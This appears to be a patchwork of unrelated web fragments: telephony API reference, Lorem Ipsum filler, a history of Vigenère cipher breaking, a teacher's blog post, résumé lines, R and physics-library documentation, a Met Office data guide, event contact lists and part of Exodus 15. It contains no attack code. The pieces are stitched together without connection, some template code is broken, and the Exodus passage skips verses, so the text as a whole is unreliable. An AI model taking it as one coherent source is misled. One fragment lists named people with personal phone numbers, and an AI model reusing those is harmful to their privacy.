Retrieve the connectTime for this call from the object.
Declaration
public DateTime getConnectTime { get; }
Property Value
| Type | Description |
|---|---|
| System.DateTime | The connectTime for this call. |
getDirection
Retrieve the direction of this call from the object.
Declaration
public EDirection getDirection { get; }
Property Value
| Type | Description |
|---|---|
| EDirection | The direction of this call. |
getDurationSec
Retrieve the duration, in seconds, for this call from the object.
Declaration
public int getDurationSec { get; }
Property Value
| Type | Description |
|---|---|
| System.Int32 | The duration for this call in seconds. |
getEndTime
Retrieve the end time for this call from the object.
Declaration
public DateTime getEndTime { get; }
Property Value
| Type | Description |
|---|---|
| System.DateTime | The end time for this call. |
getFrom
Retrieve the from number (ANI) for this call from the object.
Declaration
public string getFrom { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The from number (ANI) for this call. |
getParentCallId
Retrieve the parentCallId for this call from the object.
Declaration
public string getParentCallId { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The parentCallId for this call. |
getPhoneNumberId
Retrieve the phoneNumberId for this call the object.
Declaration
public string getPhoneNumberId { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The phoneNumberId for this call. |
getStartTime
Retrieve the start time for this call from the object.
Declaration
public DateTime getStartTime { get; }
Property Value
| Type | Description |
|---|---|
| System.DateTime | The start time for this call. |
getStatus
Retrieve the status for this call from the object.
Declaration
public ECallStatus getStatus { get; }
Property Value
| Type | Description |
|---|---|
| ECallStatus | The status for this call. |
getSubresourceUris
Retrieve the subresourceUris for this call from the object.
Declaration
public Dictionary<Call.SubresourceUri, string> getSubresourceUris { get; }
Property Value
| Type | Description |
|---|---|
| System.Collections.Generic.Dictionary<Call.SubresourceUri, System.String> | The subresourceUris for this call. |
getTo
Retrieve the to number (DNIS) for this call from the object.
Declaration
public string getTo { get; }
Property Value
| Type | Description |
|---|---|
| System.String | The to number (DNIS) for this call. |
Methods
| Improve this Doc View SourceEqual(Call, Call)
Helper method to deep compare two Call instances.
Declaration
public static bool Equal(Call a, Call b)
Parameters
| Type | Name | Description |
|---|---|---|
| Call | a | Call instance one. |
| Call | b | Call instance two. |
Returns
| Type | Description |
|---|---|
| System.Boolean | True is a == b, otherwise false. |
Equals(Call)
Compares the current instance with another Call object.
Declaration
public bool Equals(Call other)
Parameters
| Type | Name | Description |
|---|---|---|
| Call | other | Call object. |
Returns
| Type | Description |
|---|---|
| System.Boolean | true if the current object is equal to the other parameter; otherwise, false. |
Equals(Object)
Compares the current instance with another object of the same type.
Declaration
public override bool Equals(object obj)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Object | obj | Object of type Call. |
Returns
| Type | Description |
|---|---|
| System.Boolean | true if the current object is equal to the other parameter; otherwise, false. |
Overrides
| Improve this Doc View SourcefromJson(String)
Helper method to build a Call object from the JSON string.
Declaration
public static Call fromJson(string rawJson)
Parameters
| Type | Name | Description |
|---|---|---|
| System.String | rawJson | A JSON string representing a Call instance. |
Returns
| Type | Description |
|---|---|
| Call | A Call object equivalent to the JSON string passed in. |
Exceptions
| Type | Condition |
|---|---|
| FreeClimbJSONException | Thrown upon deserialize failure. |
GetHashCode()
Serves as the default hash function.
Declaration
public override int GetHashCode()
Returns
| Type | Description |
|---|---|
| System.Int32 | A hash code for the current object. |
Overrides
Operators
| Improve this Doc View SourceEquality(Call, Call)
Call equality operator.
Declaration
public static bool operator ==(Call a, Call b)
Parameters
| Type | Name | Description |
|---|---|---|
| Call | a | Call object. |
| Call | b | Call object. |
Returns
| Type | Description |
|---|---|
| System.Boolean | true if equal otherwise false. |
Inequality(Call, Call)
Call inequality operator.
Declaration
public static bool operator !=(Call a, Call b)
Parameters
| Type | Name | Description |
|---|---|---|
| Call | a | Call object. |
| Call | b | Call object. |
Returns
| Type | Description |
|---|---|
| System.Boolean | true if not equal otherwise false. |


Lorem Ipsum is simply dummy text of the printing and typesetting industry.Lorem Ipsum has been the industry's standard dummy text ever since the 1500s.
Lorem Ipsum is simply dummy text of the printing and typesetting industry
Lorem Ipsum has been the industry's standard dummy text ever since the 1500s,when an unknown printer took a galley of type and scrambled it to make a type specimen book.
Computer Lab
Lorem Ipsum is simply dummy text of the printing and typesetting industry
Lorem Ipsum has been the industry's standard dummy text ever since the 1500s,when an unknown printer took a galley of type and scrambled it to make a type specimen book.
Conference Hall
Lorem Ipsum is simply dummy text of the printing and typesetting industry
Lorem Ipsum has been the industry's standard dummy text ever since the 1500s,when an unknown printer took a galley of type and scrambled it to make a type specimen book.
Play Ground
Lorem Ipsum is simply dummy text of the printing and typesetting industry
Lorem Ipsum has been the industry's standard dummy text ever since the 1500s,when an unknown printer took a galley of type and scrambled it to make a type specimen book.
GALLERY
Lorem Ipsum is simply dummy text of the printing and typesetting industry.Lorem Ipsum has been the industry's standard dummy text ever since the 1500s.


Vignère
The idea behind the Vigenère cipher, like all polyalphabetic ciphers, is to
disguise plaintext letter frequencies, which interferes with a straightforward
application of frequency analysis. For instance, if P is the most frequent
letter in a ciphertext whose plaintext is in English,
one might suspect that P corresponds to E, because E is the most frequently
used letter in English. However, using the Vigenère
cipher, E can be enciphered as different ciphertext
letters at different points in the message, thus defeating simple frequency
analysis. The primary weakness of the Vigenère
cipher is the repeating nature of its key. If a cryptanalyst correctly guesses
the key's length, then the cipher text can be treated as interwoven Caesar
ciphers, which individually are easily broken. The Kasiski
and Friedman tests can help determine the key length.
Kasiski examination
For more details on this topic, see Kasiski examination. In 1863 Friedrich Kasiski
was the first to publish a successful general attack on the Vigenère
cipher. Earlier attacks relied on knowledge of the plaintext, or use of a
recognizable word as a key. Kasiski's method had no
such dependencies. Kasiski was the first to publish
an account of the attack, but it is clear that there were others who were aware
of it. In 1854, Charles Babbage was goaded into breaking the
Vigenère cipher when John Hall Brock Thwaites
submitted a "new" cipher to the Journal of the Society of the Arts.
When Babbage showed that Thwaites' cipher was
essentially just another recreation of the Vigenère
cipher, Thwaites challenged Babbage to break his
cipher encoded twice, with keys of different length. Babbage succeeded in
decrypting a sample, which turned out to be the poem "The Vision of
Sin", by Alfred Tennyson, encrypted according to the keyword
"Emily", the first name of Tennyson's wife. Babbage never explained
the method he used. Studies of Babbage's notes reveal that he had used the
method later published by Kasiski, and suggest that
he had been using the method as early as 1846. The Kasiski
examination, also called the Kasiski test, takes
advantage of the fact that repeated words may, by chance, sometimes be
encrypted using the same key letters, leading to repeated groups in the ciphertext.
For example, Consider the following encryption using
the keyword ABCD:
Key: ABCDABCDABCDABCDABCDABCDABCD
CRYPTOISSHORTFORCRYPTOGRAPHY
Ciphertext: CSASTPKVSIQUTGQUCSASTPIUAQJB
There is an easily seen repetition in the ciphertext, and the Kasiski test
will be effective. Here the distance between the repetitions of CSASTP is 16.
Assuming that the repeated segments represent the same plaintext segments, this
implies that the key is 16, 8, 4, 2, or 1 characters long. (All factors of the
distance are possible key lengths a key of length one is just a simple caesar cipher, where cryptanalysis is much easier.) Since
key lengths 2 and 1 are unrealistically short, one only needs to try lengths
16, 8, or 4. Longer messages make the test more accurate because they usually
contain more repeated ciphertext segments. The
following ciphertext has two segments that are
repeated:
Ciphertext:VHVSSPQUCEMRVBVBBBVHVSURQGIBDUGRNICJQUCERVUAXSSR
The distance between the repetitions of VHVS is 18.
Assuming that the repeated segments represent the same plaintext segments, this
implies that the key is 18, 9, 6, 3, 2, or 1 characters long. The distance
between the repetitions of QUCE is 30 characters. This means that the key
length could be 30, 15, 10, 6, 5, 3, 2, or 1 characters long. By taking the
intersection of these sets one could safely conclude that the most likely key
length is 6, since 3, 2, and 1 are unrealistically short.
Frequency analysis
Once the length of the key is known, the
ciphertext can be rewritten into that many columns, with each
column corresponding to a single letter of the key. Each column consists of
plaintext that has been encrypted by a single Caesar cipher; the Caesar key
(shift) is just the letter of the Vigenère key that
was used for that column. Using methods similar to those used to break the
Caesar cipher, the letters in the ciphertext can be
discovered. An improvement to the Kasiski
examination, known as Kerckhoffs' method, matches
each column's letter frequencies to shifted plaintext frequencies to discover
the key letter (Caesar shift) for that column. Once every letter in the key is
known, the cryptanalyst can simply decrypt the ciphertext
and reveal the plaintext. Kerckhoffs' method is not
applicable when the Vigenère table has been
scrambled, rather than using normal alphabetic sequences, although Kasiski examination and coincidence tests can still be used
to determine key length in that case.
Key elimination
The Vigenère cipher
function is essentially modulo arithmetic, and thus commutative. So if the key
length is known (or guessed) then subtracting the cipher text from itself,
offset by the key length will produce the cipher text encrypted with itself. If
any words in the cipher text are known or can be guessed, then the plain text
and also the key, will be revealed. This is useful if the key is an obscure
sequence of letters because the plain text will generally be ordinary words.
Key elimination is useful for making short versions of the plain text.


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Our internet was out at school today (it’s okay, it came back on around lunchtime) and it gave me a chance to slow down a little bit during my plan period to re-arrange my thoughts and take a few deep breaths. I met Jeff Utecht at a conference last March and at his workshop, he gave us a code to download a free copy of his book, Reach. I had all of my lesson plans done and nothing to copy, so with no internet to browse or Twitter to lurk, I took the time to read the book that has been sitting on my desktop since March.
It’s a short book on building professional networks…only about 100 pages. Most of it is about different types of social networking (ie Twitter vs Facebook or Wikis) and how each can play a role in our PLNs. A lot of it I’ve already done, but there were still some good tidbits and thoughts about tools available to build and augment my learning network.
The part that really stood out to me was in Chapter 2 when he writes about building our communities and networks for learning. He used three different terms: print literacy, digital literacy, and network literacy. As I thought about it, I had realized that I knew the difference between print and digital literacy, but my continuum stopped there. I had never thought about what each of those meant. Jeff’s words:
By these definitions digital literacy looks at understanding technologies and their uses. It’s everything from understanding folder structures on a computer to being able to successfully use e-mail to communicate with others (Reach p 29).
I had always thought digital literacy was so much more, but when I read that, it made a lot of sense that today’s kids are already digital literate. They are probably more literate than me in most cases when it comes to new technology coming out. The problems I see when we’re using the computers are definitely in the network literacy. I’m even more glad now that I decided to go with class blogs this year. Again, Jeff’s words:
Networked literacy is what the web is about. It’s about understanding how people and communication networks work. It’s the understanding of how to find information and how to be found. It’s about how to read hyperlinked text articles, and understand the connections that are made when you become “friends” or “follow” someone on a network. It’s the understanding of how to stay safe and how to use the networked knowledge that is the World Wide Web. Networked Literacy is about understanding connections (Reach p. 30).
I am network literate. I have learned how to use Twitter, Google+, blogs, and other tools to build my learning network into something personal and useful for my work. This is what we need to be teaching kids now. They know how to use a computer, but that doesn’t mean they know how to connect with a computer.
Today in class, students were amazed that people from other countries had read some of the blogs. To me, that’s totally normal because I have built that global perspective for myself. The change in perspective is a good reminder that to accomplish my goals this year, I need to be teaching networks and not just focusing on the “digital.”
You can read more of Jeff’s thoughts on network literacy here.
Written on August 19th, 2011 by Brian Bennett Categorized in: All
Leave a comment


--- layout: project title: Railway Notify date: 2017-10-18 22:53:14.000000000 +05:30 type: projects parent_id: '0' published: true password: '' status: publish categories: [] tags: [] meta: _edit_last: '2' _um_custom_access_settings: '0' _um_accessible: '0' _um_access_redirect2: '' _um_access_roles: a:1:{i:0;s:1:"0";} _um_access_redirect: '' author: login: ramon email<EMAIL_ADDRESS>display_name: Abhiramon Rajasekharan first_name: Abhiramon last_name: Rajasekharan ---
Railway Notify gives trail travellers updates on the upcoming stations after they register using the website.
It helps you have an estimate of when you will be reaching your station through SMS, which is usually available to most people during travel.


TemoC/\tor
Lets start the interview Timer:
05:00
minutes
Start
End
Rate
Sometimes the text that we want are coming on the way.


Bachelor's degree in management information systems (MIS)
13.aug.2015
Traniee- Administation, from 01.June.2015 to 30.July.2015
Tasks:SAP Academy, Prince Sultan University, Nov.2016.(C_HANAIMP_11)
SAP Academy, Prince Sultan University, Oct.2016.(C_PM_71)
SAP Academy, Prince Sultan University, Aug.2016. (C_THR12_67)
SAP Academy, Prince Sultan University, June.2016. (C_TERP10_67)
ESL, University of Texas at Austin, May,2019 (14 months).
SAP Academy, Prince Sultan University, Aug.2016 (2 days).
SAP Academy, Prince Sultan University, June.2016 (2 days).
HNI Training and Coaching, Prince Sultan University, June.2016 (3 days).
Prince Sultan University, Apr.2016 (10 days).
Prince Sultan University, Apr.2016 (3 months).
Microsoft office skills (word, excel, PowerPoint and outlook).


run_idf()
is a wrapper of EnergyPlus command line interface which enables to
run EnergyPlus model with different options.
run_idf(model, weather, output_dir, design_day = FALSE, annual = FALSE, expand_obj = TRUE, wait = TRUE, echo = TRUE, eplus = NULL) run_multi(model, weather, output_dir, design_day = FALSE, annual = FALSE, wait = TRUE, echo = TRUE, eplus = NULL)
| model | A path (for |
|---|---|
| weather | A path (for |
| output_dir | Output directory path (for |
| design_day | Force design-day-only simulation. Default: |
| annual | Force design-day-only simulation. Default: |
| expand_obj | Whether to run ExpandObject preprocessor before simulation.
Default: |
| wait | If |
| echo | Whether to show standard output and error from EnergyPlus
command line interface for |
| eplus | An acceptable input (for |
A list for run_idf()
. For rum_multi()
, a
data.table if wait
is TRUE
or a
process if wait
is FALSE
.
run_multi()
provides the functionality of running multiple models in
parallel.
later package is used to poll the standard output and error of background EnergyPlus process or background R process that handles parallel simulations. The print interval is set to 0.5 sec.
For run_idf()
, a named list will be returned:
idf
: The path of IDF file
epw
: The path of EPW file
exit_status
: The exit code of the process if it has finished and NULL
otherwise. Always being NULL
if wait
is FALSE, but you can manually
get the exit code using the process object, i.e.
process$get_exit_status()
after simulation completed.
start_time
: When the EnergyPlus process started.
end_time
: When the EnergyPlus process stopped. All being NULL
if
wait
is FALSE
, but you can manually check EnergyPlus stdout
to get
the simulation time
output_dir
: The simulation output directory
energyplus
: The path of EnergyPlus executable
stdout
: All standard output from EnergyPlus. Always being NULL
if
wait
is FALSE
, but you can manually get all standard output using
process$read_all_output_lines()
.
stderr
: All standard error from EnergyPlus. Always being NULL
if
wait
is FALSE
, but you can manually get all standard output using
process$read_all_output_lines()
.
process
: A processx::process object of current EnergyPlus simulation
For run_multi()
, if wait
is TRUE
, a
data.table contains all data (excluding
process
) with same column names as above, and also another two columns:
index
: The index of simulation
status
: The status of simulation status. Should be one of below:
"completed"
: the simulation job is completed. This only indicates
that the calling of EnergyPlus was successfully and EnergyPlus was
not terminated during simulation. Even "completed" is
TRUE, the job can still end with error. Please check
exit_status` to
determine whether EnergyPlus ran successfully
"terminated"
: the simulation job started but was terminated
"cancelled"
: the simulation job was cancelled, i.e. did not start
at all.
For run_multi()
, if wait
is FALSE
, a r_process
object of background R process which handles all simulation jobs is
returned. You can check if the jobs are completed using $is_alive()
and
get the final data.table using $get_result()
.
It is suggested to run simulations using EplusJob class and ParametricJob class, which provide much more detailed controls on the simulation and also methods to extract simulation outputs.
Running EnergyPlus from Command Line (EnergyPlus GitHub Repository)
EplusJob class and ParametricJob class which provide a more friendly interface to run EnergyPlus simulations and collect outputs.
# NOT RUN { idf_path <- system.file("extdata/1ZoneUncontrolled.idf", package = "eplusr") if (is_avail_eplus(8.8)) { # run a single model epw_path <- file.path( eplus_config(8.8)$dir, "WeatherData", "USA_CA_San.Francisco.Intl.AP.724940_TMY3.epw" ) run_idf(idf_path, epw_path, output_dir = tempdir()) # run multiple model in parallel idf_paths <- file.path(eplus_config(8.8)$dir, "ExampleFiles", c("1ZoneUncontrolled.idf", "1ZoneUncontrolledFourAlgorithms.idf") ) epw_paths <- rep(epw_path, times = 2L) output_dirs <- file.path(tempdir(), tools::file_path_sans_ext(basename(idf_paths))) run_multi(idf_paths, epw_paths, output_dir = output_dirs) } # }


{% include 'base.html' %}
Enter a sequence of letters without spaces, (left to right, top to bottom) of 4x4 or 5x5 Boggle Board
After clicking on Get Word wait about 20 sec
{% csrf_token %}
Enter your Boggle letters:


The supply of information and data
The Education Service receives many requests for information. We try to answer enquiries as soon as possible, but we cannot guarantee to handle enquiries in time if they are left to the last moment. Please contact us as soon as possible to tell us what you need so that there is time to match your requirements to what is available. In this way you will not be held up by lack of information.
To enable us to process enquiries as quickly as possible, it would be appreciated if requests for data for a class project are made by one individual and not, as has happened, by nearly every member of the class.
Note that all information and data supplied by the Education Service must only be used for educational purposes. Anything supplied must not be used for commercial purposes.
Other source of information and data
Most school, college or public libraries hold books and atlases dealing with meteorology, weather and climate, as well as many related topics.
Many newspapers contain weather observations from the U.K. Also there are often observations from around the world. These observations can form the basis for many interesting projects. Do not forget that a very good source of weather observations are ones that students make themselves.
Free standard items
A range of information leaflets, brochures and basic climatological data sheets are available free of charge with a limit of one copy of each item per individual or school. However, further photocopying of the material is permitted. The amount of material requested should be kept to a minimum.
Specialised or large amounts of data
Large amounts of data or specialised data have to be prepared to order. Consequently they can be expensive. An estimate of the cost can be given, but the actual charge will be determined by the time taken to extract the data.
Before starting on your project your investigation ask yourself the following.
Obtaining specialised or large amounts of data
If you decide you need the specialised data or a large amount of data, then remember the three W's when you contact us: where, what and when.
Where: Give the location that you require the data for - if possible give the name of the place, the nearest town and the National Grid Reference. Although we may not have the data for your chosen location, with this information we should be able to provide you with data from a nearby site approved by The Met. Office.
What: Give an accurate description of the type of data you require. For example if you simply ask for 'temperatures' it is not clear what you want. You may require hourly values or perhaps the daily maximum, minimum or mean temperatures. Alternatively you may want the monthly mean values or the extreme values for each month.
When: Give the date or period for which the data is required. Remember that data for one element for one year will produce a lot of figures - 365 daily values or 8760 hourly values for example.
There are currently 3 types of data sheets available from The Met.Office:
Twelve months data (one year) is represented on one A4 sheet. The elements covered are :
Charges
Up to four stations for one year are free of charge OR four years of data for one station. 0.50 (pounds sterling) per station per year will be charged thereafter.
30/31 days data on one A4 sheet. The elements covered are:
30/31 days data on one A4 sheet. The elements covered are:
Charges
Daily and Hourly data sheets are charged the same. Up to one year's data for one station is free(either one year of daily OR hourly data Or a mixture of six months data for each type). Thereafter each month per station will be 0.25 (pounds sterling).
Please note that not all weather stations report all elements. Information from a particular station may be incomplete due to unforseen factors, such as a broken thermometer. Complete sheets of information will be sent whenever possible, this may involve substituting one station with its near neighbour.
For more information and an order form please write to :
The Met. Office,
Education Service,
Room 124,
London Road,
Bracknell,
Berkshire,
RG12 2SZ.
United Kingdom
Telephone: +44 (0)1344 854802


Component: HplMsp430I2C0P
module HplMsp430I2C0P
Author:
Jonathan Hui<EMAIL_ADDRESS>Version:
$Revision: 1.5 $ $Date: 2008-06-24 05:32:31 $
Provides
interface
HplMsp430I2C
as
HplI2C
Uses
interface
HplMsp430Usart
as
HplUsart
interface
HplMsp430GeneralIO
as
SIMO
interface
HplMsp430GeneralIO
as
UCLK


--- author: Capulet categories: app date: '2011-08-10 22:55:36' permalink: /2011/08/10/win-a-spot-at-breaking-development-2011/ slug: win-a-spot-at-breaking-development-2011 status: publish title: Win a Spot at Breaking Development 2011 type: post format: html categories: - News ---
As a sponsor of the excellent Breaking Development 2011 conference we'll be giving away a pass to one lucky PhoneGap app developer. The pass, worth $1545, gets you in to the conference and the full day of workshops!
The Breaking Development conference (held in Nashville, September 12-14) focuses on new, emerging techniques for web development and design for mobile devices. This year's speakers are hand-picked to make sure you get challenging, well-delivered talks from a variety of different perspectives. Our very own Dave Johnson will be presenting a workshop on building native mobile apps with PhoneGap and HTML5. Check out the rest of the impressive speaker lineup.
Here's how we're going to give away this coveted Breaking Development conference pass.
If you've built a PhoneGap app, then submit it to our app directory using this form. On August 24th we'll draw one lucky winner from the last 100 apps submitted. If you've built an app and haven't submitted it to the directory, now's the time. Get some attention for your app and get a chance to win a Breaking Development conference pass.
Submit your PhoneGap app now for a chance to win a spot at Breaking Development 2011.
*Update: *Congrats to our winner Jamie Isaacs for submitting his app Happy Hour USA. Thanks to everyone for submitting your app and keep 'em coming!


--- layout: page title: ACF Regionals 2012 date: 2011-12-27 13:04:50.000000000 -06:00 type: page parent_id: '348' published: true password: '' status: publish categories: [] tags: [] meta: _edit_last: '16309375' _wp_page_template: default geo_public: '0' author: login: srf0 email<EMAIL_ADDRESS>display_name: srf0 first_name: '' last_name: '' permalink: "/archives/archived-tournament-announcements/acf-regionals-2012/" ---
NOTE: THIS IS AN ARCHIVED PAGE
This is the official global announcement for ACF Regionals 2012, which will take place on February 18, 2012.
Editors
Head Editor: Trevor Davis (Carnegie Mellon)
Co-Editors: Will Butler (Georgia Tech), Auroni Gupta (UCSD), John Lawrence (Yale), Guy Tabachnick (Brown)
Hosts (with links to their announcements)
West: UC San Diego
South: Chris Romero at St John's School, Houston
North: University of Minnesota
Midwest: University of Illinois
Southeast: Georgia Tech
East Canada/Niagara: University at Buffalo
Mid-Atlantic: George Washington University
Northeast: Brown University
Packet Submission
Every team with at least one person on it who played a regular, collegiate, academic quizbowl tournament prior to September 1, 2010 is required to submit a packet in order to play in Regionals. Please note that this requirement now also applies to eligible high school teams. Further information can be found at the ACF Packet Submission Guidelines.
The submission schedule for this tournament is:
December 26, 2011: -$50 (You get an extra day for Christmas, what a deal!)
January 8, 2012: -$25 (-$50 for optional packets)
January 22, 2012: no penalty (-$25 for optional packets)
January 29, 2012: +$25
February 5, 2012: +$50
Please submit your packet to Trevor Davis at<EMAIL_ADDRESS>and include "ACF Regionals packet" and the name of your school in the subject line. In order to meet any particular deadline, your packet must be in Trevor's inbox by 11:59 pm PST on the stated day.
Extensions may be granted after the final February 5 deadline at a cost of $10 per day, but such extensions are not guaranteed. If you want an extension, contact Trevor before the February 5 deadline.
Packet Penalties
Be sure to fully read the information contained in the Packet Guidelines. Any cases of incorrect formatting, plagiarism, or prohibited question types will result in hefty fees. The editors also reserve the right to send back any egregious cases to be fixed by the team in question, so be sure to do it right the first time.
If you have any questions about ACF Regionals or this announcement, you can email Trevor at TheBokonon@gmail.com.


{% extends 'base.html' %} {% block container %}
Welcome to Budget Buddy, a material design web application to help users manage their budgets effectively. Please sign-up or log-in by clicking the appropriate option above.


author: Tomasz Biela (Tebe)
| name: | description: |
|---|---|
| ReadConfig | function ReadConfig(devnum: byte): cardinal; assembler;Read disk drive configuration
parameters: |
| ReadSector | procedure ReadSector(devnum: byte; sector: word; var buf); assembler;Read disk sector to buffer
parameters: |
| WriteSector | procedure WriteSector(devnum: byte; sector: word; var buf); assembler;Write disk sector from buffer
parameters: |
| ReadBoot | procedure ReadBoot(devnum: byte; var buf); assembler;Write disk sector 1-3 from buffer
parameters: |
| WriteBoot | procedure WriteBoot(devnum: byte; var buf); assembler;Write disk sector 1-3 from buffer
parameters: |


Ready To Share Your Story? Let's See If We Can Start A Project.
Virtual Techies
Mira-road, Thane.
Mumbai 401107
India
+91<PHONE_NUMBER>
Get Notified
Don't miss out on new projects, people and positions. No spam, just friendly updates.


Team of every college will consist of 15M/15F.
Name:Number
Number of participants 4M/4F from each college
Tanmay Hunday:+917739785056
Team of every college will consist of 4M/4F.
Praveen Mishra: +917236890329
Team of every college will consist of 2M/2F.
Ashwin Arya: +919456085578
Team each college will consist of 14M players.
Rohit Kumar Tiwari: +918777088746
Team of every college will consist of 10M/10F.
Aftab Alam: +917042185201
Prashant Sharma:+918864906814
Team of every college will consist of 12F.
Aman Abdullah: +919852673190
Team of every college will consist of 10M.
Praveen Mohan Rai: +919456688439


{!extends base.html !} {!block title!}{%set page 'features'%}Jangod, what's the difference{!endblock!} {!block content!}
Here list some highlights why we use Jangod template engine.
Template Inheritance is Jangod engine's most important and flexible feature, and also the most useful function. Through sub-block override, it provides the simplest consistent modification, templates can be reused in a maximum. That's main reason and drive of creating this engine.
Can be used to generate any kind of text like HTML, XML, JAVA, SQL, etc, without any conflict.
Jangod template syntax is easy to learn, you can fully grasp in 10 minutes. Using engine just need to know 4 elements('{\{', '{\%', '{\#', '{\!'). If you keep 3 libraries'(tag, filter, macro) usage in mind, then master it a hundred percent. For details see user guide. I's not recommended making much complex calculation or logic in template code. If really do so, there is still a viable approach, use filters or even customize tags and filters to use.
Usually don't need to care about the special characters. Template syntax parse is intelligent while dealing with characters, actually only '{\{', '{\%', '{\#', '{\!' were really considered to be special characters, inserting a slash '\' in the middle to replace them, like this '{\\{'. Other characters, such as '{', '}', '}}', '%}', ... will be treated as general text output if not matched.
Uniform data access method is a dot '.' . If the data is an object, 'obj.prop' acts as 'obj.getProp()'; if an array, 'arr.1' acts as 'arr[1]'; if a collection, 'list.1' acts as 'list.get(1)'; if a map, 'map.key' acts as 'map.get(key)'.
Template's entire render process, from loading to presentment are configurable. Where and how to get templates (local, network, database), text encoding, whether and how to cache templates or parsing result etc., can be setup in the configuration file to meet your requirements. With further development, configurability will be more complete, more flexible.
Conventional extensions, file loader, cache, data container, etc. Core expansions, the three libraries items are free to expand or cover. Library items' invoked specification can be regulated to your own, ruling distinctive template syntax as you like. For example, make a new tag which will define variables in template file while running, as follow:
{\% define int i = 10; string str = "hello world"; tuple arr = (i, str, 'java engine'); dict dc = {a:'freemarker', b:'velocity', c:'django'}; %}Nothing impossible. Go here see more.
Jangod supports multi-thread, pre-compiled, refactor of template elements, they all help to optimize the efficiency of render.
{!endblock!}


Consider the concrete case that , the integration can be performed analytically (by using Wolfram Mathematica), which gives


For support visit 6, Taiwo Street Mafoluku Oshodi Lagos
We are going to partner with medical experts who will give advice on treatment
We want volunteers who will help in steering the dream and create more awareness
The key to prevent any form of ailement is to educate the people


18F UI style guide
Overview
This is the user interface (UI) style guide for 18f.gsa.gov.
The site uses a custom set of styles that inherit from the U.S. Web Design Standards and 18F brand guidelines to create style that is professional, unique, and informative. The guide has a two-fold purpose:
- Speed up onboarding of future maintainers of the site. While most of this guide addresses content needs, there is some technical documentation for how we have extended Jekyll’s out-of-the-box functionality.
- Serve as a living reference for 18F brand of styles.
Adding a blog post?
If you are updating or adding a new blog post, go to Layouts to get started, or go directly to Blog components to learn more about enriching your blog post.
Adding a project page?
If you are updating or adding a new project page, go to Layouts to get started.
Overriding the Standards
While 18f.gsa.gov relies heavily on the U.S. Web Design standards, there are several instances where we have overridden styles with our own set of custom stylesheets. This is primarily to align ourselves more directly with the 18F brand set of fonts, colors, and logos. Additional overrides were made to create custom layouts or components to address user needs that are specific to the marketing of the 18F brand.


--- layout: example categories: example/v1.0.0 version: v1.0.0 title: Using Torque and data from CartoDB description: Using the torque library and data from a CartoDB table to show temporal data of naval journeys. tags: - layers ---


|
Bullet Collision Detection & Physics Library
|
Public Member Functions | |
| btSingleContactCallback (btCollisionObject *collisionObject, btCollisionWorld *world, btCollisionWorld::ContactResultCallback &resultCallback) | |
| virtual bool | process (const btBroadphaseProxy *proxy) |
| Public Member Functions inherited from btBroadphaseAabbCallback | |
| virtual | ~btBroadphaseAabbCallback () |
Public Attributes | |
| btCollisionObject * | m_collisionObject |
| btCollisionWorld * | m_world |
| btCollisionWorld::ContactResultCallback & | m_resultCallback |
Definition at line 1189 of file btCollisionWorld.cpp.
|
inline |
Definition at line 1195 of file btCollisionWorld.cpp.
|
inlinevirtual |
Implements btBroadphaseAabbCallback.
Definition at line 1202 of file btCollisionWorld.cpp.
| btCollisionObject* btSingleContactCallback::m_collisionObject |
Definition at line 1191 of file btCollisionWorld.cpp.
| btCollisionWorld::ContactResultCallback& btSingleContactCallback::m_resultCallback |
Definition at line 1193 of file btCollisionWorld.cpp.
| btCollisionWorld* btSingleContactCallback::m_world |
Definition at line 1192 of file btCollisionWorld.cpp.


Before Change
for i in clusters1_indices:
cluster1.add(i, features)
cluster2 = clusters.add_cluster()
for i in clusters2_indices:
cluster2.add(i, features)
cluster3 = clusters.add_cluster()
After Change
clusters3_indices = [15]
// Build a test ClusterMapCentroid
centroid = np.zeros_like(features)
cluster1 = ClusterCentroid(centroid.copy())
for i in clusters1_indices:
cluster1.assign(i, features)
cluster2 = ClusterCentroid(centroid.copy())
for i in clusters2_indices:
cluster2.assign(i, features)
cluster3 = ClusterCentroid(centroid.copy())


--- layout: post title: 'The answer is simple: the need for cloud-operated infrastructure comes from the need for more efficient application delivery and operations, which in turn comes from the accelerated need for new software functionality driven by end users.' date: '2009-10-13T21:32:52-07:00' tags: tumblr_url: http://alexhwilliams.tumblr.com/post/212580782/the-answer-is-simple-the-need-for-cloud-operated ---
The answer is simple: the need for cloud-operated infrastructure comes from the need for more efficient application delivery and operations, which in turn comes from the accelerated need for new software functionality driven by end users.—The Wisdom of Clouds - a blog about cloud computing by James Urquhart - CNET News


You can import data from a previously prepared file, Microsoft Excel.
if ($this->list_csv_template_url): ?> endif ?>To prepare the data, upload the template file to disk and open it in Microsoft Excel. Then:
Data import is complete. Imported records: =$success ?>, errors: =count($errors) ?>.
if (count($errors)): ?>Below is a list of errors.
| Line | Error |
|---|---|
| =$line ?> | =h($text) ?> |


Plugin Information |
|---|
View Hyper.sh Build Step on the plugin site for more information. |
Run some tasks of Jenkins job in Hyper.sh container. This plugin allows to add "Execute shell in Hyper.sh" build step into your job.
Plugin Information |
|---|
View Hyper.sh Build Step on the plugin site for more information. |
Run some tasks of Jenkins job in Hyper.sh container. This plugin allows to add "Execute shell in Hyper.sh" build step into your job.


15
The Song of Moses
1 Then Moses and the people of Israel sang this song to the LORD, saying,
“I will sing to the LORD, for he has triumphed gloriously;
the horse and his rider he has thrown into the sea.
2 The LORD is my strength and my song,
and he has become my salvation;
this is my God, and I will praise him,
my father's God, and I will exalt him.
3 The LORD is a man of war;
the LORD is his name.
4 “Pharaoh's chariots and his host he cast into the sea,
and his chosen officers were sunk in the Red Sea.
5 The floods covered them;
they went down into the depths like a stone.
6 Your right hand, O LORD, glorious in power,
your right hand, O LORD, shatters the enemy.
7 In the greatness of your majesty you overthrow your adversaries;
you send out your fury; it consumes them like stubble.
8 At the blast of your nostrils the waters piled up;
the floods stood up in a heap;
the deeps congealed in the heart of the sea.
9 The enemy said, ‘I will pursue, I will overtake,
I will divide the spoil, my desire shall have its fill of them.

Who is like you, majestic in holiness,
awesome in glorious deeds, doing wonders?
12 You stretched out your right hand;
the earth swallowed them.
13 “You have led in your steadfast love the people whom you have redeemed;
you have guided them by your strength to your holy abode.
14 The peoples have heard; they tremble;
pangs have seized the inhabitants of Philistia.
15 Now are the chiefs of Edom dismayed;
trembling seizes the leaders of Moab;
all the inhabitants of Canaan have melted away.
16 Terror and dread fall upon them;
because of the greatness of your arm, they are still as a stone,
till your people, O LORD, pass by,
